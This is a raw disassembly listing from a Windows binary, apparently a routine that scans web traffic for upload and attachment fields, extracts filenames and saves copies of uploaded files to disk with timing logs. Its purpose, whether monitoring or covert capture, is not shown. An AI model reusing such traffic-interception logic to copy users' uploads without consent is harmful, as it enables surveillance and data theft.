mov byte [esp + 0x194], 0x32
call fcn.5909f310
lea ecx, [esp + 0x15c]
mov byte [esp + 0x190], 0x31
call fcn.5909f180
lea ecx, [esp + 0x84]
mov byte [esp + 0x190], 0x24
call fcn.59099e00
mov ebx, dword [esp + 0x54]
mov edi, dword [esp + 0x18]
mov eax, dword [esp + 0x4c]
test eax, eax
je 0x59018c7f
mov eax, dword [esp + 0x10]
push str.hiduploadedfiles
push eax
call fcn.59081676
add esp, 8
test eax, eax
jne 0x59018c7f
mov ecx, dword [esp + 0x1c]
lea esi, [ebx + edi]
sub ecx, edi
push ecx
push esi
lea ecx, [esp + 0x174]
call fcn.590998b0
mov edx, dword [esp + 0x1c]
mov byte [esp + 0x190], 0x33
sub edx, edi
push edx
push esi
call fcn.5900a640
add esp, 8
test eax, eax
mov eax, dword [esp + 0x16c]
je 0x59018c18
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59018c18
push 0xfde9
push eax
lea ecx, [esp + 0x60]
call fcn.590a35e0
jmp 0x59018c22
push eax
lea ecx, [esp + 0x5c]
call fcn.5909f4e0
mov eax, dword [esp + 0x58]
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59018c6b
push eax
lea eax, [esp + 0x168]
push eax
call fcn.5900b5b0
add esp, 8
lea ecx, [esp + 0x164]
mov byte [esp + 0x190], 0x34
push ecx
lea ecx, [esp + 0x5c]
call fcn.5909f310
lea ecx, [esp + 0x164]
mov byte [esp + 0x190], 0x33
call fcn.5909f180
lea ecx, [esp + 0x16c]
mov byte [esp + 0x190], 0x24
call fcn.59099e00
lea ecx, [esp + 0x10]
call fcn.5909b000
cmp dword [esp + 0x110], 2
jae 0x59018de3
push str.ATTACH
lea ecx, [esp + 0x14]
call fcn.5909af80
cmp eax, 0xffffffff
jne 0x59018e35
push str.ATTACHFILE
lea ecx, [esp + 0x14]
call fcn.5909af80
cmp eax, 0xffffffff
jne 0x59018e35
push str.UPLOAD
lea ecx, [esp + 0x14]
call fcn.5909af80
cmp eax, 0xffffffff
jne 0x59018e35
push str.UPLOADER
lea ecx, [esp + 0x14]
call fcn.5909af80
cmp eax, 0xffffffff
jne 0x59018e35
push str.ATTH
lea ecx, [esp + 0x14]
call fcn.5909af80
cmp eax, 0xffffffff
jne 0x59018e35
push str.UPLOADFILENAME
lea ecx, [esp + 0x14]
call fcn.5909af80
cmp eax, 0xffffffff
jne 0x59018e35
push str.USERFILE
lea ecx, [esp + 0x14]
call fcn.5909af80
cmp eax, 0xffffffff
jne 0x59018e35
push str.ATTFILE
lea ecx, [esp + 0x14]
call fcn.5909af80
cmp eax, 0xffffffff
jne 0x59018e35
push str.FILE
lea ecx, [esp + 0x14]
call fcn.5909af80
cmp eax, 0xffffffff
jne 0x59018e35
push str.F_CATTCH
lea ecx, [esp + 0x14]
call fcn.5909af80
cmp eax, 0xffffffff
jne 0x59018e35
push str.NEWFILE
lea ecx, [esp + 0x14]
call fcn.5909af80
cmp eax, 0xffffffff
jne 0x59018e35
push str.LOCALATTACH
lea ecx, [esp + 0x14]
call fcn.5909af80
cmp eax, 0xffffffff
jne 0x59018e35
push str.ATTACHMENT
lea ecx, [esp + 0x14]
call fcn.5909af80
cmp eax, 0xffffffff
jne 0x59018e35
push str.UPFILE
lea ecx, [esp + 0x14]
call fcn.5909af80
cmp eax, 0xffffffff
jne 0x59018e35
push str.KERIO_MAILATTS
lea ecx, [esp + 0x14]
call fcn.5909af80
cmp eax, 0xffffffff
jne 0x59018e35
mov eax, dword [esp + 0x174]
test eax, eax
je 0x59018e06
mov edx, dword [esp + 0x1c]
push str.filename_
push edx
push ebx
call fcn.5900f390
add esp, 0xc
cmp eax, 0xffffffff
jne 0x59018e35
mov eax, dword [esp + 0x90]
test eax, eax
je 0x59019237
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x54]
push str.filename_
push eax
push ecx
call fcn.5900f390
add esp, 0xc
cmp eax, 0xffffffff
je 0x59019237
mov edx, dword [esp + 0x1c]
mov ebx, dword [esp + 0x54]
push str.filename_
push edx
push ebx
call fcn.5900f390
mov esi, eax
add esp, 0xc
cmp esi, 0xffffffff
je 0x59019237
mov edi, str.filename_
or ecx, 0xffffffff
xor eax, eax
push 0x5917a488
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x20]
not ecx
dec ecx
add esi, ecx
sub eax, esi
lea ebp, [ebx + esi]
push eax
push ebp
call fcn.5900f390
mov edi, eax
add esp, 0xc
cmp edi, 0xffffffff
je 0x59019237
push edi
push ebp
lea ecx, [esp + 0x6c]
call fcn.590998b0
mov ecx, dword [0x59155850]
mov byte [esp + 0x190], 0x35
mov dword [esp + 0x44], ecx
push 0x5c
lea ecx, [esp + 0x68]
mov byte [esp + 0x194], 0x36
call fcn.5909af50
mov ebp, eax
mov eax, dword [esp + 0xc4]
test eax, eax
mov eax, dword [esp + 0x64]
lea edx, [ebx + ebp]
lea esi, [edx + esi + 1]
je 0x59018eee
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59018eee
push 0x4e3
push eax
lea ecx, [esp + 0x4c]
call fcn.590a35e0
jmp 0x59018fea
mov ecx, dword [esp + 0x94]
test ecx, ecx
jne 0x59018f10
mov eax, edi
sub eax, ebp
dec eax
push eax
push esi
call fcn.5900a640
add esp, 8
test eax, eax
mov eax, dword [esp + 0x64]
je 0x59018f2b
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59018f2b
push 0xfde9
push eax
lea ecx, [esp + 0x4c]
call fcn.590a35e0
jmp 0x59018fea
mov ecx, dword [esp + 0xa8]
test ecx, ecx
jne 0x59018f4b
sub edi, ebp
dec edi
push edi
push esi
call fcn.5900aa60
add esp, 8
test eax, eax
mov eax, dword [esp + 0x64]
je 0x59018f66
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59018f66
push 0x2712
push eax
lea ecx, [esp + 0x4c]
call fcn.590a35e0
jmp 0x59018fea
mov ecx, dword [eax - 8]
push ecx
push eax
call fcn.5900a700
add esp, 8
test eax, eax
mov eax, dword [esp + 0x64]
je 0x59018fe0
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59018fe0
push 1
push 0
push eax
call fcn.5900a810
mov ebp, eax
lea edi, [ebp + ebp + 4]
push edi
call fcn.591315b0
mov esi, eax
add esp, 0x10
test esi, esi
je 0x59018fea
mov ecx, edi
xor eax, eax
mov edx, ecx
mov edi, esi
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push 2
and ecx, 3
push esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x6c]
push eax
call fcn.5900a810
add esp, 0xc
lea ecx, [esp + 0x44]
mov word [esi + ebp*2], 0
push esi
call fcn.5909f400
push esi
call fcn.591315d9
add esp, 4
jmp 0x59018fea
push eax
lea ecx, [esp + 0x48]
call fcn.5909f4e0
mov eax, dword [esp + 0x44]
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x59019215
lea ecx, [esp + 0x158]
push eax
push ecx
call fcn.5900b5b0
add esp, 8
lea edx, [esp + 0x158]
lea ecx, [esp + 0x44]
push edx
mov byte [esp + 0x194], 0x37
call fcn.5909f310
push 0x5c
lea ecx, [esp + 0x48]
call fcn.590a0330
inc eax
lea ecx, [esp + 0x44]
push eax
lea eax, [esp + 0x11c]
push eax
call fcn.590a1470
mov ecx, dword [0x59155850]
mov byte [esp + 0x190], 0x38
mov dword [esp + 0x14], ecx
push 0x2e
lea ecx, [esp + 0x11c]
mov byte [esp + 0x194], 0x39
call fcn.590a0330
cmp eax, 0xffffffff
je 0x590190a4
inc eax
lea edx, [esp + 0x74]
push eax
push edx
lea ecx, [esp + 0x120]
call fcn.590a1470
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0x194], 0x3a
call fcn.5909f310
lea ecx, [esp + 0x74]
mov byte [esp + 0x190], 0x39
call fcn.5909f180
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0xac]
push eax
call fcn.590996a0
lea ecx, [esp + 0xa4]
push 0x5917a758
push ecx
mov byte [esp + 0x198], 0x3b
call fcn.590543e0
add esp, 8
push eax
lea ecx, [esp + 0x68]
mov byte [esp + 0x194], 0x3c
call fcn.59099f80
lea ecx, [esp + 0xa4]
mov byte [esp + 0x190], 0x3b
call fcn.59099e00
mov eax, dword [esp + 0x1ac]
test eax, eax
jne 0x59019144
mov edx, dword [esp + 0x64]
push 0x180
push 0x8101
push edx
call fcn.590821dd
mov esi, eax
add esp, 0xc
cmp esi, 0xffffffff
je 0x590191c8
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x18]
sub eax, edi
add ebx, edi
push eax
push ebx
push esi
call fcn.59081fed
push esi
call fcn.59081f0d
add esp, 0x10
jmp 0x59019148
mov edi, dword [esp + 0x18]
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x138]
sub eax, edi
push eax
push ecx
lea ecx, [esp + 0x13c]
call fcn.590ab400
mov edx, dword [esp + 0x64]
lea ecx, [esp + 0x17c]
push edx
call fcn.5909e880
mov ecx, dword [esp + 0xb8]
lea eax, [esp + 0x17c]
push eax
push ecx
lea ecx, [esp + 0xbc]
mov byte [esp + 0x198], 0x3d
call fcn.590a5110
mov eax, dword [esp + 0x14c]
lea edx, [esp + 0x118]
push edx
push eax
lea ecx, [esp + 0x150]
call fcn.590a5110
lea ecx, [esp + 0x17c]
mov byte [esp + 0x190], 0x3b
call fcn.5909f180
lea ecx, [esp + 0xac]
mov byte [esp + 0x190], 0x39
call fcn.59099e00
lea ecx, [esp + 0x14]
mov byte [esp + 0x190], 0x38
call fcn.5909f180
lea ecx, [esp + 0x118]
mov byte [esp + 0x190], 0x37
call fcn.5909f180
lea ecx, [esp + 0x158]
mov byte [esp + 0x190], 0x36
call fcn.5909f180
lea ecx, [esp + 0x44]
mov byte [esp + 0x190], 0x35
call fcn.5909f180
lea ecx, [esp + 0x64]
mov byte [esp + 0x190], 0x24
call fcn.59099e00
mov eax, dword [esp + 0x114]
test eax, eax
je 0x5901933e
mov ecx, dword [esp + 0x50]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x5901933e
mov edx, dword [esp + 0x10]
push str.jsessionid
push edx
call fcn.59081676
add esp, 8
test eax, eax
jne 0x5901933e
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x54]
sub ecx, eax
add edx, eax
push ecx
push edx
lea ecx, [esp + 0x2c]
call fcn.590998b0
push 0x5917b298
lea ecx, [esp + 0x28]
mov byte [esp + 0x194], 0x3e
call fcn.5909af80
cmp eax, 0xffffffff
je 0x590192d7
push eax
lea eax, [esp + 0x38]
push eax
lea ecx, [esp + 0x2c]
call fcn.5909c420
push eax
lea ecx, [esp + 0x28]
mov byte [esp + 0x194], 0x3f
call fcn.59099f80
lea ecx, [esp + 0x34]
mov byte [esp + 0x190], 0x3e
call fcn.59099e00
push ecx
lea edx, [esp + 0x28]
mov ecx, esp
mov dword [esp + 0x1c], esp
push edx
call fcn.590993d0
lea eax, [esp + 0x12c]
mov byte [esp + 0x194], 0x3e
push eax
call fcn.5900abf0
add esp, 8
mov ecx, dword [esp + 0x128]
mov byte [esp + 0x190], 0x41
push ecx
lea ecx, [esp + 0x54]
call fcn.5909f4e0
lea ecx, [esp + 0x128]
mov byte [esp + 0x190], 0x3e
call fcn.59099e00
lea ecx, [esp + 0x24]
mov byte [esp + 0x190], 0x24
call fcn.59099e00
mov ecx, dword [esp + 0x70]
lea edx, [esp + 0x1c]
lea eax, [esp + 0xb0]
push edx
mov edx, dword [esp + 0x80]
push eax
mov eax, dword [esp + 0x1a4]
push ecx
mov ecx, dword [esp + 0x1a4]
push edx
push eax
push ecx
call fcn.5900d090
add esp, 0x18
lea ecx, [esp + 0x10]
mov dword [esp + 0x54], eax
mov byte [esp + 0x190], 0x23
call fcn.59099e00
mov ebp, dword [esp + 0x198]
mov esi, dword [esp + 0x7c]
mov ebx, dword [esp + 0x19c]
mov edi, dword [esp + 0x54]
test edi, edi
jne 0x590177a1
mov edx, dword [esp + 0x6c]
mov eax, dword [edx - 8]
test eax, eax
je 0x590193e5
lea eax, [esp + 0x6c]
push 0x5917a61c
lea ecx, [esp + 0x38]
push eax
push ecx
call fcn.5909f8f0
push eax
lea ecx, [esp + 0x2c]
mov byte [esp + 0x194], 0x42
call fcn.5909fe30
lea ecx, [esp + 0x34]
mov byte [esp + 0x190], 0x23
call fcn.5909f180
mov eax, dword [esp + 0xa0]
test eax, eax
mov eax, dword [esp + 0x20]
je 0x5901940d
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x5901940d
push 0x5919dab4
lea ecx, [esp + 0x24]
call fcn.5909f310
mov eax, dword [esp + 0x20]
mov edi, dword [esp + 0x4c]
test edi, edi
je 0x5901942e
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x5901942e
push 0x5919dab0
lea ecx, [esp + 0x24]
call fcn.5909f310
mov eax, dword [esp + 0x20]
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x5901946a
xor esi, esi
test ecx, ecx
jle 0x5901945c
mov ax, word [eax + esi*2]
push eax
call fcn.59082720
add esp, 4
test eax, eax
je 0x59019458
mov eax, dword [esp + 0x20]
inc esi
cmp esi, dword [eax - 8]
jl 0x5901943b
jmp 0x5901945c
mov eax, dword [esp + 0x20]
cmp esi, dword [eax - 8]
jne 0x5901946a
lea ecx, [esp + 0x20]
call fcn.5909eef0
mov edx, dword [esp + 0x28]
mov ecx, dword [edx - 8]
mov edx, dword [esp + 0x5c]
test ecx, ecx
jne 0x59019706
mov eax, dword [esp + 0x30]
test eax, eax
je 0x59019490
mov eax, dword [esp + 0x60]
mov esi, dword [eax - 8]
test esi, esi
jne 0x590194a3
test edi, edi
je 0x59019706
mov eax, dword [edx - 8]
test eax, eax
je 0x59019706
mov eax, dword [0x5919daec]
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
dec eax
test eax, eax
jl 0x590194bb
lea esi, [eax + 1]
call edi
dec esi
jne 0x590194b6
mov eax, dword [esp + 0xb8]
xor edi, edi
test eax, eax
jle 0x5901a5f2
mov ebp, dword [esp + 0x1a8]
mov bl, 0x4c
mov eax, dword [0x59155850]
mov dword [esp + 0xd4], eax
mov byte [esp + 0x190], 0x47
mov dword [esp + 0xd8], eax
mov byte [esp + 0x190], 0x48
mov dword [esp + 0xdc], eax
mov ecx, dword [0x5915584c]
mov byte [esp + 0x190], 0x49
mov dword [esp + 0xf0], ecx
mov eax, dword [esp + 0x30]
mov byte [esp + 0x190], 0x4b
test eax, eax
je 0x59019536
lea edx, [esp + 0x60]
mov dword [esp + 0xc8], 1
push edx
jmp 0x5901954e
mov eax, dword [esp + 0x4c]
test eax, eax
je 0x5901955a
lea eax, [esp + 0x5c]
mov dword [esp + 0xc8], 2
push eax
lea ecx, [esp + 0xd8]
call fcn.5909f310
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, dword [esp + 0xb4]
mov dword [esp + 0xcc], eax
lea edx, [ecx + edi*4]
lea ecx, [esp + 0xdc]
push edx
call fcn.5909f310
mov eax, dword [esp + 0x148]
lea ecx, [eax + edi*4]
push ecx
lea ecx, [esp + 0xdc]
call fcn.5909f310
mov edx, dword [esp + 0x134]
xor ecx, ecx
test ebp, ebp
mov eax, dword [edx + edi*4]
mov dword [esp + 0xe0], ecx
mov dword [esp + 0xe4], ecx
mov dword [esp + 0xd0], eax
mov dword [esp + 0xe8], ecx
mov dword [esp + 0xec], ecx
je 0x590195f1
mov edx, ebp
mov eax, dword [edx]
mov dword [esp + 0xe0], eax
mov ecx, dword [edx + 4]
mov dword [esp + 0xe4], ecx
mov eax, dword [edx + 8]
mov dword [esp + 0xe8], eax
mov ecx, dword [edx + 0xc]
mov dword [esp + 0xec], ecx
mov esi, dword [0x5919daec]
cmp esi, esi
jl 0x5901960b
lea edx, [esi + 1]
push 0xffffffffffffffff
push edx
mov ecx, 0x5919dae8
call fcn.5905baf0
mov edx, dword [0x5919dae8]
lea eax, [esi + esi*4]
lea ecx, [esi + eax*2]
mov eax, dword [esp + 0xc8]
lea esi, [edx + ecx*4]
mov dword [esi], eax
mov ecx, dword [esp + 0xcc]
mov dword [esi + 4], ecx
mov edx, dword [esp + 0xd0]
lea eax, [esp + 0xd4]
lea ecx, [esi + 0xc]
push eax
mov dword [esi + 8], edx
call fcn.5909f310
lea ecx, [esp + 0xd8]
push ecx
lea ecx, [esi + 0x10]
call fcn.5909f310
lea edx, [esp + 0xdc]
lea ecx, [esi + 0x14]
push edx
call fcn.5909f310
mov ecx, dword [esp + 0xe0]
lea eax, [esi + 0x18]
mov dword [esi + 0x18], ecx
mov edx, dword [esp + 0xe4]
mov dword [eax + 4], edx
mov ecx, dword [esp + 0xe8]
mov dword [eax + 8], ecx
mov edx, dword [esp + 0xec]
lea ecx, [esi + 0x28]
mov dword [eax + 0xc], edx
lea eax, [esp + 0xf0]
push eax
call fcn.59099f80
lea ecx, [esp + 0xf0]
mov byte [esp + 0x190], 0x4e
call fcn.59099e00
lea ecx, [esp + 0xdc]
mov byte [esp + 0x190], 0x4d
call fcn.5909f180
lea ecx, [esp + 0xd8]
mov byte [esp + 0x190], bl
call fcn.5909f180
lea ecx, [esp + 0xd4]
mov byte [esp + 0x190], 0x23
call fcn.5909f180
mov eax, dword [esp + 0xb8]
inc edi
cmp edi, eax
jl 0x590194d5
jmp 0x5901a5f2
cmp dword [esp + 0x110], 2
jae 0x5901a5f2
mov eax, dword [esp + 0x48]
mov esi, dword [eax - 8]
test esi, esi
jne 0x59019753
mov eax, dword [esp + 0x40]
mov esi, dword [eax - 8]
test esi, esi
jne 0x59019753
mov eax, dword [esp + 0x2c]
mov esi, dword [eax - 8]
test esi, esi
jne 0x59019753
test ecx, ecx
jne 0x59019753
mov eax, dword [esp + 0xb8]
test eax, eax
jne 0x59019753
mov eax, dword [esp + 0x3c]
mov esi, dword [eax - 8]
test esi, esi
je 0x5901a5f2
mov eax, dword [esp + 0x1ac]
test eax, eax
je 0x59019769
mov dword [eax], 1
jmp 0x5901a5f2
test ecx, ecx
je 0x59019a0c
mov eax, dword [edx - 8]
test eax, eax
je 0x59019a0c
test edi, edi
je 0x59019a0c
mov ecx, dword [0x5919daec]
lea edi, [ecx - 1]
test edi, edi
mov dword [esp + 0x4c], edi
jl 0x5901986c
lea edx, [edi + edi*4]
lea ebx, [edi + edx*2]
shl ebx, 2
mov eax, dword [0x5919dae8]
lea esi, [ebx + eax]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [esi + 4]
cmp eax, 0x927c0
jbe 0x5901985c
mov ebp, dword [0x5919daec]
mov ecx, dword [esp + 0x4c]
sub ebp, ecx
mov ecx, dword [0x5919dae8]
dec ebp
xor edi, edi
lea esi, [ebx + ecx]
mov dword [esp + 0x34], esi
lea ecx, [esi + 0x28]
mov byte [esp + 0x190], 0x52
call fcn.59099e00
lea ecx, [esi + 0x14]
mov byte [esp + 0x190], 0x51
call fcn.5909f180
lea ecx, [esi + 0x10]
mov byte [esp + 0x190], 0x50
call fcn.5909f180
lea ecx, [esi + 0xc]
mov byte [esp + 0x190], 0x23
call fcn.5909f180
add esi, 0x2c
mov edx, edi
dec edi
mov dword [esp + 0x34], esi
test edx, edx
jne 0x590197da
test ebp, ebp
je 0x5901984d
lea eax, [ebp + ebp*4]
lea ecx, [ebp + eax*2]
mov eax, dword [0x5919dae8]
shl ecx, 2
lea edx, [ebx + eax + 0x2c]
push ecx
add eax, ebx
push edx
push eax
call fcn.59081ba0
add esp, 0xc
mov eax, dword [0x5919daec]
mov edi, dword [esp + 0x4c]
dec eax
mov dword [0x5919daec], eax
dec edi
sub ebx, 0x2c
test edi, edi
mov dword [esp + 0x4c], edi
jge 0x590197a2
mov ecx, dword [0x5919daec]
lea esi, [ecx - 1]
test esi, esi
mov dword [esp + 0x4c], esi
jl 0x59019a0c
lea edx, [esi + esi*4]
lea edi, [esi + edx*2]
shl edi, 2
mov eax, dword [0x5919dae8]
cmp dword [edi + eax], 2
jne 0x590199fc
mov ecx, dword [esp + 0x5c]
mov edx, dword [edi + eax + 0xc]
push ecx
push edx
call fcn.5908195b
add esp, 8
test eax, eax
jne 0x590199fc
mov eax, dword [0x5919dae8]
lea ecx, [edi + eax + 0x14]
push ecx
lea ecx, [esp + 0x38]
call fcn.5909e780
mov edx, dword [esp + 0xb8]
push eax
push edx
lea ecx, [esp + 0xbc]
mov byte [esp + 0x198], 0x54
call fcn.590a5110
lea ecx, [esp + 0x34]
mov byte [esp + 0x190], 0x23
call fcn.5909f180
mov eax, dword [0x5919dae8]
lea ecx, [edi + eax + 0x10]
push ecx
lea ecx, [esp + 0xb0]
call fcn.5909e780
mov edx, dword [esp + 0x14c]
push eax
push edx
lea ecx, [esp + 0x150]
mov byte [esp + 0x198], 0x55
call fcn.590a5110
lea ecx, [esp + 0xac]
mov byte [esp + 0x190], 0x23
call fcn.5909f180
mov eax, dword [0x5919dae8]
mov ecx, dword [esp + 0x138]
mov eax, dword [edi + eax + 8]
push eax
push ecx
lea ecx, [esp + 0x13c]
call fcn.590ab400
mov ebx, dword [0x5919daec]
mov ecx, dword [esp + 0x4c]
mov edx, dword [0x5919dae8]
sub ebx, ecx
dec ebx
xor ebp, ebp
lea esi, [edi + edx]
mov dword [esp + 0xa4], esi
lea ecx, [esi + 0x28]
mov byte [esp + 0x190], 0x58
call fcn.59099e00
lea ecx, [esi + 0x14]
mov byte [esp + 0x190], 0x57
call fcn.5909f180
lea ecx, [esi + 0x10]
mov byte [esp + 0x190], 0x56
call fcn.5909f180
lea ecx, [esi + 0xc]
mov byte [esp + 0x190], 0x23
call fcn.5909f180
add esi, 0x2c
mov eax, ebp
dec ebp
mov dword [esp + 0xa4], esi
test eax, eax
jne 0x59019978
test ebx, ebx
je 0x590199ed
mov eax, dword [0x5919dae8]
lea ecx, [ebx + ebx*4]
lea edx, [ebx + ecx*2]
lea ecx, [edi + eax + 0x2c]
shl edx, 2
push edx
lea edx, [edi + eax]
push ecx
push edx
call fcn.59081ba0
add esp, 0xc
mov eax, dword [0x5919daec]
mov esi, dword [esp + 0x4c]
dec eax
mov dword [0x5919daec], eax
dec esi
sub edi, 0x2c
test esi, esi
mov dword [esp + 0x4c], esi
jge 0x5901988a
mov eax, dword [0x59155850]
mov dword [esp + 0x9c], eax
mov byte [esp + 0x190], 0x5a
mov dword [esp + 0x8c], eax
mov eax, dword [esp + 0x114]
mov byte [esp + 0x190], 0x5b
test eax, eax
je 0x59019a54
lea eax, [esp + 0x50]
lea ecx, [esp + 0x8c]
push eax
call fcn.5909f310
mov ebp, dword [esp + 0x144]
jmp 0x59019ab5
mov edi, 0x5917ae30
or ecx, 0xffffffff
xor eax, eax
mov ebp, dword [esp + 0x144]
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
mov ecx, dword [esp + 0x9c]
push 0x5917ae30
push ecx
push ebp
call fcn.5900d130
mov esi, eax
add esp, 0x10
cmp esi, 0xffffffff
je 0x59019ab5
push 1
push ecx
mov ecx, esp
mov dword [esp + 0x3c], esp
push 0x5919cc20
call fcn.590994d0
lea edx, [esp + 0x94]
mov byte [esp + 0x198], 0x5b
push edx
push esi
push ebp
call fcn.59021560
add esp, 0x14
mov eax, dword [esp + 0x48]
mov edi, dword [esp + 0x1a4]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x5901a329
mov ecx, dword [esp + 0x40]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x5901a329
mov edx, dword [esp + 0x3c]
mov eax, dword [edx - 8]
test eax, eax
jne 0x5901a329
mov eax, dword [esp + 0x2c]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x5901a329
mov ecx, dword [esp + 0x28]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x5901a329
mov eax, dword [esp + 0xb8]
test eax, eax
je 0x5901a329
test edi, edi
je 0x5901a329
xor ebx, ebx
test eax, eax
jle 0x5901a5ca
mov ebp, dword [esp + 0x98]
jmp 0x59019b3f
mov ebp, dword [esp + 0x98]
mov edi, dword [esp + 0x1a4]
mov eax, dword [0x59155850]
mov dword [esp + 0xe4], eax
mov byte [esp + 0x190], 0x5d
mov dword [esp + 0xe8], eax
mov byte [esp + 0x190], 0x5e
mov dword [esp + 0xec], eax
mov edx, dword [0x5915584c]
mov byte [esp + 0x190], 0x5f
mov dword [esp + 0xf4], edx
mov byte [esp + 0x190], 0x60
mov dword [esp + 0x10c], eax
mov eax, dword [esp + 0x1a0]
lea ecx, [esp + 0x8c]
push ecx
mov byte [esp + 0x194], 0x62
lea ecx, [esp + 0xe8]
mov dword [esp + 0xcc], eax
call fcn.5909f310
mov edx, dword [edi]
mov dword [esp + 0xcc], edx
mov eax, dword [edi + 4]
mov dword [esp + 0xd0], eax
mov ecx, dword [edi + 8]
mov dword [esp + 0xd4], ecx
mov edx, dword [edi + 0xc]
lea eax, [esp + 0xdc]
mov dword [esp + 0xd8], edx
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov ecx, dword [esp + 0xb4]
lea edx, [ecx + ebx*4]
lea ecx, [esp + 0x90]
push edx
call fcn.5909e780
push 0x5c
lea ecx, [esp + 0x94]
mov byte [esp + 0x194], 0x63
call fcn.590a0330
inc eax
lea ecx, [esp + 0x90]
push eax
lea eax, [esp + 0xa4]
push eax
call fcn.590a1470
lea ecx, [esp + 0xac]
mov byte [esp + 0x190], 0x64
push ecx
call fcn.5900d240
add esp, 4
mov eax, dword [eax]
lea ecx, [esp + 0x34]
push eax
mov byte [esp + 0x194], 0x65
call fcn.5909e880
lea edx, [esp + 0xa0]
mov byte [esp + 0x190], 0x66
push edx
push eax
lea eax, [esp + 0x2c]
push eax
call fcn.5909f720
lea ecx, [esp + 0x34]
mov byte [esp + 0x190], 0x69
call fcn.5909f180
lea ecx, [esp + 0xac]
mov byte [esp + 0x190], 0x68
call fcn.59099e00
mov ecx, dword [esp + 0xb4]
mov edx, dword [esp + 0x24]
mov eax, dword [ecx + ebx*4]
push 3
push edx
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
lea eax, [esp + 0x24]
lea ecx, [esp + 0xec]
push eax
call fcn.5909f310
push 0x2e
lea ecx, [esp + 0x28]
call fcn.590a0330
lea ecx, [esp + 0x14]
push eax
push ecx
lea ecx, [esp + 0x2c]
call fcn.590a18c0
push 0x5917affc
lea ecx, [esp + 0x18]
mov byte [esp + 0x194], 0x6a
call fcn.5909fdd0
mov edx, dword [esp + 0x148]
lea ecx, [esp + 0xe8]
lea eax, [edx + ebx*4]
push eax
call fcn.5909f310
mov ecx, dword [esp + 0x134]
mov eax, dword [esp + 0x14]
push eax
mov edx, dword [ecx + ebx*4]
lea ecx, [esp + 0xa8]
mov dword [esp + 0xf4], edx
call fcn.590996a0
push eax
lea ecx, [esp + 0xf8]
mov byte [esp + 0x194], 0x6b
call fcn.59099f80
lea ecx, [esp + 0xa4]
mov byte [esp + 0x190], 0x6a
call fcn.59099e00
mov ecx, dword [esp + 0xf4]
push 0x180
push 0x8101
push ecx
call fcn.590821dd
mov edx, dword [0x5915584c]
add esp, 0xc
mov esi, eax
mov dword [esp + 0x70], edx
cmp esi, 0xffffffff
mov byte [esp + 0x190], 0x6c
je 0x59019df5
mov eax, dword [esp + 0x144]
push ebp
push eax
push esi
call fcn.59081fed
mov ecx, dword [esp + 0xec]
mov edx, dword [esp + 0xe8]
mov eax, dword [edi + 0xc]
add esp, 0xc
push ecx
mov ecx, dword [edi + 8]
push edx
mov edx, dword [edi + 4]
push eax
mov eax, dword [edi]
push ecx
push edx
push eax
lea ecx, [esp + 0x88]
push str._r_n_r_nliTickBegin:_I64u__liTickEnd:_I64u__liTickRecord:_I64u
push ecx
call fcn.5909cc60
mov edx, dword [esp + 0x90]
add esp, 0x20
lea ecx, [esp + 0x70]
mov eax, dword [edx - 8]
push eax
push 0
call fcn.5909aa90
push eax
push esi
call fcn.59081fed
push esi
call fcn.59081f0d
add esp, 0x10
mov eax, dword [esp + 0x70]
mov ecx, dword [0x5919dafc]
mov eax, dword [eax - 8]
add eax, ebp
mov dword [esp + 0xf8], eax
mov eax, ecx
cmp eax, ecx
mov dword [esp + 0x30], eax
jl 0x5901a19d
mov edx, ecx
xor edi, edi
lea ebp, [edx + 1]
cmp ebp, edi
jne 0x59019ebe
mov esi, dword [0x5919daf8]
cmp esi, edi
je 0x59019ead
dec ecx
mov dword [esp + 0x74], esi
test eax, eax
je 0x59019e98
lea ebp, [ecx + 1]
lea ecx, [esi + 0x44]
mov byte [esp + 0x190], 0x70
call fcn.5909f180
lea ecx, [esi + 0x2c]
mov byte [esp + 0x190], 0x6f
call fcn.59099e00
lea ecx, [esi + 0x24]
mov byte [esp + 0x190], 0x6e
call fcn.5909f180
lea ecx, [esi + 0x20]
mov byte [esp + 0x190], 0x6d
call fcn.5909f180
lea ecx, [esi + 0x1c]
mov byte [esp + 0x190], 0x6c
call fcn.5909f180
add esi, 0x48
dec ebp
mov dword [esp + 0x74], esi
jne 0x59019e3e
mov ecx, dword [0x5919daf8]
push ecx
call fcn.591315d9
add esp, 4
mov dword [0x5919daf8], edi
mov dword [0x5919db00], edi
mov dword [0x5919dafc], edi
jmp 0x5901a19d
mov edx, dword [0x5919daf8]
cmp edx, edi
jne 0x59019f3b
lea edi, [ebp + ebp*8]
shl edi, 3
push edi
call fcn.591315b0
mov ecx, edi
mov esi, eax
mov edx, ecx
xor eax, eax
mov edi, esi
mov dword [0x5919daf8], esi
shr ecx, 2
mov dword [esp + 0x78], esi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
lea edi, [ebp]
mov dword [esp + 0x80], esi
test esi, esi
